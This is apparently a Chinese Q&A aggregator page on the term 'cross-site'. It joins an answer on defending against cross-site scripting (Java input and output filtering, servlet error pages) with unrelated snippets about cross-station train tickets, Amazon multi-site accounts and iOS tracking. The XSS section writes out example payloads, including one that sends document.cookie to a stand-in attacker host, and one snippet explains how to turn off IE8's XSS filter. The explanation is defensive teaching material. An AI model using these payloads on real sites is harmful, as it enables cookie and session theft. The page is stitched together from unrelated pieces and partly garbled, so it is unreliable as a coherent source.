什么叫跨站点

kuaidi.ping-jia.net  作者:佚名   更新日期:2024-07-30
如何允许跨站点脚本运行?

你提的问题有些模糊,不知道你说的跨站脚本是不是指的黑客攻击,如果是,那你还需要再进修一下,如果不是,你最好补充一下应用场景。

防止跨站点脚本攻击的解决方法:

1.输入过滤

对每一个用户的输入或者请求首部,都要进行过滤。这需要程序员有良好的安全素养,而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题,如错误页等。
final String filterPattern="[{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");

2.输出过滤

public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("&#" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}

byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}

String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->


404
/errPage404


<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->

javax.servlet.ServletException
/errPageServ


<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->

java.lang.Throwable
/errPageGeneric

任何的非servlet例外都被/errPageGeneric路径捕捉,这样就可以处理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );

3.安装三方的应用防火墙,可以拦截css攻击。

附:

跨站脚本不像其他攻击只包含两个部分:攻击者和web站点。
跨站脚本包含三个部分:攻击者,客户和web站点。
跨站脚本攻击的目的是窃取客户的cookies,或者其他可以证明用户身份的敏感信息。

攻击
一个get请求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
www.vulnerable.site
会产生如下的结果

Welcome!
Hi Joe Hacker

Welcome to our system
...

但是如果请求被篡改
GET /welcome.cgi?name=alert(document.cookie) HTTP/1.0
Host: www.vulnerable.site
就会得到如下的响应

Welcome!
Hi alert(document.cookie)

Welcome to our system
...

这样在客户端会有一段非法的脚本执行,这不具有破坏作用,但是如下的脚本就很危险了。
http://www.vulnerable.site/welcome.cgi?name=window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)
响应如下:

Welcome!
Hi
window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)

Welcome to our system
...

浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站,这样攻击者就得到了客户的cookie。

跨站抢票就是你说需要上车的站点除外,往前多赚点加进去就是跨站。往后跨站是在下车的站点往回站买,就是跨站。
2,买的全程票,可以在中途站点上车。
3,全程票不是嘴能从发车点上车中途站点也能上车。

医的角度讲,

  • 什么叫跨站点
    答:跨站抢票就是你说需要上车的站点除外,往前多赚点加进去就是跨站。往后跨站是在下车的站点往回站买,就是跨站。2,买的全程票,可以在中途站点上车。3,全程票不是嘴能从发车点上车中途站点也能上车。
  • 亚马逊跨站点多久关联
    答:30天。根据查询亚马逊官网得知,亚马逊跨站点30天关联,卖家还是需要去提前的去做好亚马逊账户关联预防的工作,那么这样才可以避免自己遇到账户突然是被封的情况。所谓跨站点关联,也就是用相同一套公司资料注册了美国站和欧洲站(或全球站),注册成功之后,两个站点甚至多个站点同时在运营。
  • 跨站脚本攻击,如何利用工具和测试防范跨站点脚本攻击
    答:跨站点脚本(XSS)允许攻击者通过利用因特网服务器的漏洞来发送恶意代码到其他用户。攻击者利用跨站点脚本(XSS)攻击向那些看似可信任的链接中注入恶意代码。当用户点击了链接后,内嵌的程序将被提交并且会在用户的电脑上执行,这会使黑客获取访问权限并偷走敏感数据。攻击者使用XSS来攻击受害者机器上的漏洞...
  • 什么是跨站抢票?
    答:1、跨站抢票就是你所需要上车的站点除外往前多站点加进去就是跨站,往后跨站是在下车的站点往回站买就是跨站;2、买的全程票可以在中途站点上车。3、全程票不是只能从发车点上车,中途站点也能上车。4、到中途车站取票机能发打印出来车票。
  • iOS 14 隐私设置:防止应用程序跨站点跟踪
    答:您可以完全禁用应用程序的跨应用程序和跨站点跟踪:打开 iPhone 设置-隐私-跟踪,将“允许应用程序请求跟踪”进行关闭即可。在某些情况下,苹果不需要开发人员要求用户许可进行跟踪,但收集的信息是被打乱的,无法识别到用户个人,并且仅用于欺诈检测或预防欺诈。
  • 现在亚马逊跨站点也会店铺关联是真的吗?到底要注意哪些点啊……
    答:我们都知道,亚马逊全球开店的意思是一套公司资料可以注册一个亚马逊美国店,一个亚马逊欧洲店铺,一个亚马逊日本店铺,一个亚马逊新加坡店铺,一个亚马逊中东店铺……这个规则是官方鼓励的,这个才是全球开店的意思,一套卖家账号资料可以在亚马逊多个全球站点展开销售。同时这些店铺可以共用一张信用卡,一张手机...
  • cookie的脚本攻击
    答:通常跨站点脚本攻击往往利用网站漏洞在网站页面中植入脚本代码或网站页面引用第三方法脚本代码,均存在跨站点脚本攻击的可能,在受到跨站点脚本攻击时,脚本指令将会读取当前站点的所有 Cookie 内容(已不存在 Cookie 作用域限制),然后通过某种方式将 Cookie 内容提交到指定的服务器(如:AJAX)。一旦 Cookie...
  • Web应用常见的安全漏洞有哪些?
    答:3、跨站点请求伪造 CSRF攻击是指恶意网站,电子邮件或程序导致用户的浏览器在用户当前已对其进行身份验证的受信任站点上执行不需要的操作时发生的攻击。4、无法限制URL访问 Web应用程序在呈现受保护的链接和按钮之前检查URL访问权限 每次访问这些页面时,应用程序都需要执行类似的访问控制检查。 通过智能猜测,...
  • 如何关闭跨站点脚本 (XSS) 筛选器
    答:这个错误是由于 IE8 的跨站脚本(Cross-site scripting, XSS)防护阻止了跨站发送的请求。点击 IE8 的“工具”-“Internet 选项”,进入“安全”选项卡,打开“Internet”下方的“自定义级别”,在“安全设置”对话框中找到“启用 XSS 筛选器”,改为“禁用”即可。